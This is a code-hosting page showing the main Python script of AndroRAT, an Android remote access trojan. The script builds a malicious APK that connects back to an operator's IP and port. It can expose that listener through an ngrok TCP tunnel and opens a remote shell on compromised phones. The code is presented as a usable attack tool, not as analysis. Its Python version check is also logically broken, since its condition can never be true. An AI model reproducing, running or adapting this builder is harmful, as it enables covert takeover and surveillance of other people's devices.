Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
karma9874
GitHub Repository: karma9874/AndroRAT
Path: blob/master/androRAT.py
2427 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
4
from utils import *
5
import argparse
6
import sys
7
import platform
8
try:
9
from pyngrok import ngrok,conf
10
except ImportError as e:
11
print(stdOutput("error")+"\033[1mpyngrok not found");
12
print(stdOutput("info")+"\033[1mRun pip3 install -r requirements.txt")
13
exit()
14
15
clearDirec()
16
17
# _ _____ _______
18
# /\ | | | __ \ /\|__ __|
19
# / \ _ __ __| |_ __ ___ | |__) | / \ | |
20
# / /\ \ | '_ \ / _` | '__/ _ \| _ / / /\ \ | |
21
# / ____ \| | | | (_| | | | (_) | | \ \ / ____ \| |
22
# /_/ \_\_| |_|\__,_|_| \___/|_| \_\/_/ \_\_|
23
# - By karma9874
24
25
26
parser = argparse.ArgumentParser(usage="%(prog)s [--build] [--shell] [-i <IP> -p <PORT> -o <apk name>]")
27
parser.add_argument('--build',help='For Building the apk',action='store_true')
28
parser.add_argument('--shell',help='For getting the Interpreter',action='store_true')
29
parser.add_argument('--ngrok',help='For using ngrok',action='store_true')
30
parser.add_argument('-i','--ip',metavar="<IP>" ,type=str,help='Enter the IP')
31
parser.add_argument('-p','--port',metavar="<Port>", type=str,help='Enter the Port')
32
parser.add_argument('-o','--output',metavar="<Apk Name>", type=str,help='Enter the apk Name')
33
parser.add_argument('-icon','--icon',help='Visible Icon',action='store_true')
34
args = parser.parse_args()
35
36
37
38
if float(platform.python_version()[:3]) < 3.6 and float(platform.python_version()[:3]) > 3.8 :
39
print(stdOutput("error")+"\033[1mPython version should be between 3.6 to 3.8")
40
sys.exit()
41
42
if args.build:
43
port_ = args.port
44
icon=True if args.icon else None
45
if args.ngrok:
46
conf.get_default().monitor_thread = False
47
port = 8000 if not port_ else port_
48
tcp_tunnel = ngrok.connect(port, "tcp")
49
ngrok_process = ngrok.get_ngrok_process()
50
domain,port = tcp_tunnel.public_url[6:].split(":")
51
ip = socket.gethostbyname(domain)
52
print(stdOutput("info")+"\033[1mTunnel_IP: %s PORT: %s"%(ip,port))
53
build(ip,port,args.output,True,port_,icon)
54
else:
55
if args.ip and args.port:
56
build(args.ip,port_,args.output,False,None,icon)
57
else:
58
print(stdOutput("error")+"\033[1mArguments Missing")
59
60
if args.shell:
61
if args.ip and args.port:
62
get_shell(args.ip,args.port)
63
else:
64
print(stdOutput("error")+"\033[1mArguments Missing")
65